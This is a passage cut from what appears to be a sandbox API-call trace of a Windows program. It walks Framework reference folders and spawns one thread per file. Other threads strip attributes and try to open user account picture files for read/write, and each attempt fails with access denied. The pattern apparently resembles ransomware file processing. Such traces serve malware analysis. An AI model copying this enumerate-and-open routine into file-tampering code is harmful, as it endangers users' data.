ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0052.229] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1 [0052.229] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1 [0052.229] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00950 [0052.229] wcscpy (in: _Dest=0x5e00950, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0052.229] wcscat (in: _Dest=0x5e00950, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0052.229] wcscat (in: _Dest=0x5e00950, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" [0059.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e00950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100c [0059.839] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0059.839] FindClose (in: hFindFile=0x4404a0 | out: hFindFile=0x4404a0) returned 1 [0059.840] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458bc0) returned 1 [0059.840] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x443330) returned 1 [0059.840] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444970) returned 1 Thread: id = 934 os_tid = 0x1274 [0052.229] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x4433e0 [0052.229] wcscpy (in: _Dest=0x4433e0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" [0052.229] wcscat (in: _Dest=0x4433e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\" [0052.229] wcscat (in: _Dest=0x4433e0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*" [0052.229] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b978 [0052.229] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407e0 [0052.230] wcscmp (_String1=".", _String2=".") returned 0 [0052.230] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.230] wcscmp (_String1="..", _String2=".") returned 1 [0052.230] wcscmp (_String1="..", _String2="..") returned 0 [0052.230] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0052.230] wcscmp (_String1="Client.xml", _String2=".") returned 1 [0052.230] wcscmp (_String1="Client.xml", _String2="..") returned 1 [0052.230] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02360 [0052.230] wcscpy (in: _Dest=0x5e02360, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" [0052.230] wcscat (in: _Dest=0x5e02360, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\" [0052.230] wcscat (in: _Dest=0x5e02360, _Source="Client.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" [0055.654] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e02360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1094 [0055.655] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x45b978 | out: lpFindFileData=0x45b978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0055.655] FindClose (in: hFindFile=0x4407e0 | out: hFindFile=0x4407e0) returned 1 [0055.655] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b978) returned 1 [0055.655] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4433e0) returned 1 [0055.655] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e3b0) returned 1 Thread: id = 935 os_tid = 0x1278 [0052.307] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile10.bmp")) returned 0x20 [0055.980] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp", dwFileAttributes=0x20) returned 0 [0055.980] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile10.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0055.981] GetLastError () returned 0x5 [0055.981] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp", dwFileAttributes=0x20) returned 0 [0055.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43d9d8) returned 1 Thread: id = 936 os_tid = 0x127c [0052.308] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile11.bmp")) returned 0x20 [0057.581] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp", dwFileAttributes=0x20) returned 0 [0057.581] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile11.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.581] GetLastError () returned 0x5 [0057.581] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp", dwFileAttributes=0x20) returned 0 [0057.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e458) returned 1 Thread: id = 937 os_tid = 0x1280 [0052.309] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile12.bmp")) returned 0x20 [0057.582] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp", dwFileAttributes=0x20) returned 0 [0057.582] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile12.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.582] GetLastError () returned 0x5 [0057.582] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp", dwFileAttributes=0x20) returned 0 [0057.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e500) returned 1 Thread: id = 938 os_tid = 0x1284 [0052.310] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile13.bmp")) returned 0x20 [0057.583] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp", dwFileAttributes=0x20) returned 0 [0057.584] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile13.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.584] GetLastError () returned 0x5 [0057.584] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp", dwFileAttributes=0x20) returned 0 [0057.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e5a8) returned 1 Thread: id = 939 os_tid = 0x1288 [0052.311] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile14.bmp")) returned 0x20 [0057.589] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp", dwFileAttributes=0x20) returned 0 [0057.589] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile14.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.589] GetLastError () returned 0x5 [0057.589] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp", dwFileAttributes=0x20) returned 0 [0057.589] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e650) returned 1 Thread: id = 940 os_tid = 0x128c [0052.429] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile15.bmp")) returned 0x20 [0057.590] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp", dwFileAttributes=0x20) returned 0 [0057.590] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile15.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.590] GetLastError () returned 0x5 [0057.590] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp", dwFileAttributes=0x20) returned 0 [0057.590] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e6f8) returned 1 Thread: id = 941 os_tid = 0x1290 [0052.429] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile16.bmp")) returned 0x20 [0057.585] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp", dwFileAttributes=0x20) returned 0 [0057.585] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile16.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.585] GetLastError () returned 0x5 [0057.585] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp", dwFileAttributes=0x20) returned 0 [0057.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e7a0) returned 1 Thread: id = 942 os_tid = 0x1294 [0052.429] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile17.bmp")) returned 0x20 [0057.586] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp", dwFileAttributes=0x20) returned 0 [0057.586] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile17.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.586] GetLastError () returned 0x5 [0057.586] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp", dwFileAttributes=0x20) returned 0 [0057.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e848) returned 1 Thread: id = 943 os_tid = 0x1298 [0052.430] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile18.bmp")) returned 0x20 [0057.591] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp", dwFileAttributes=0x20) returned 0 [0057.591] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile18.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.592] GetLastError () returned 0x5 [0057.592] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp", dwFileAttributes=0x20) returned 0 [0057.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e8f0) returned 1 Thread: id = 944 os_tid = 0x129c [0052.430] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile19.bmp")) returned 0x20 [0057.593] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp", dwFileAttributes=0x20) returned 0 [0057.593] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile19.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.593] GetLastError () returned 0x5 [0057.593] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp", dwFileAttributes=0x20) returned 0 [0057.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e998) returned 1 Thread: id = 945 os_tid = 0x12a0 [0052.430] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile20.bmp")) returned 0x20 [0057.594] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp", dwFileAttributes=0x20) returned 0 [0057.594] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile20.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.594] GetLastError () returned 0x5 [0057.594] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp", dwFileAttributes=0x20) returned 0 [0057.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ea40) returned 1 Thread: id = 946 os_tid = 0x12a4 [0052.431] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile21.bmp")) returned 0x20 [0057.595] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp", dwFileAttributes=0x20) returned 0 [0057.595] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile21.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.595] GetLastError () returned 0x5 [0057.595] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp", dwFileAttributes=0x20) returned 0 [0057.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43eae8) returned 1 Thread: id = 947 os_tid = 0x12a8 [0052.431] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile22.bmp")) returned 0x20 [0057.596] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp", dwFileAttributes=0x20) returned 0 [0057.597] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile22.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.597] GetLastError () returned 0x5 [0057.597] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp", dwFileAttributes=0x20) returned 0 [0057.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43eb90) returned 1 Thread: id = 948 os_tid = 0x12ac [0052.431] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile23.bmp")) returned 0x20 [0057.598] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp", dwFileAttributes=0x20) returned 0 [0057.598] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile23.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.598] GetLastError () returned 0x5 [0057.598] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp", dwFileAttributes=0x20) returned 0 [0057.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ec38) returned 1 Thread: id = 949 os_tid = 0x12b0 [0052.432] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile24.bmp")) returned 0x20 [0057.599] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp", dwFileAttributes=0x20) returned 0 [0057.599] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile24.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.599] GetLastError () returned 0x5 [0057.599] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp", dwFileAttributes=0x20) returned 0 [0057.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ece0) returned 1 Thread: id = 950 os_tid = 0x12b4 [0052.432] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile25.bmp")) returned 0x20 [0057.600] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp", dwFileAttributes=0x20) returned 0 [0057.601] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile25.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.601] GetLastError () returned 0x5 [0057.601] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp", dwFileAttributes=0x20) returned 0 [0057.601] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ed88) returned 1 Thread: id = 951 os_tid = 0x12b8 [0052.433] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile26.bmp")) returned 0x20 [0057.602] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp", dwFileAttributes=0x20) returned 0 [0057.602] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile26.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.602] GetLastError () returned 0x5 [0057.602] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp", dwFileAttributes=0x20) returned 0 [0057.602] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ee30) returned 1 Thread: id = 952 os_tid = 0x12bc [0052.433] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile27.bmp")) returned 0x20 [0057.603] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp", dwFileAttributes=0x20) returned 0 [0057.603] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\usertile27.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0057.603] GetLastError () returned 0x5 [0057.603] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp", dwFileAttributes=0x20) returned 0 [0057.603] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43eed8) returned 1 Thread: id = 953 os_tid = 0x12c0 [0052.433] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: 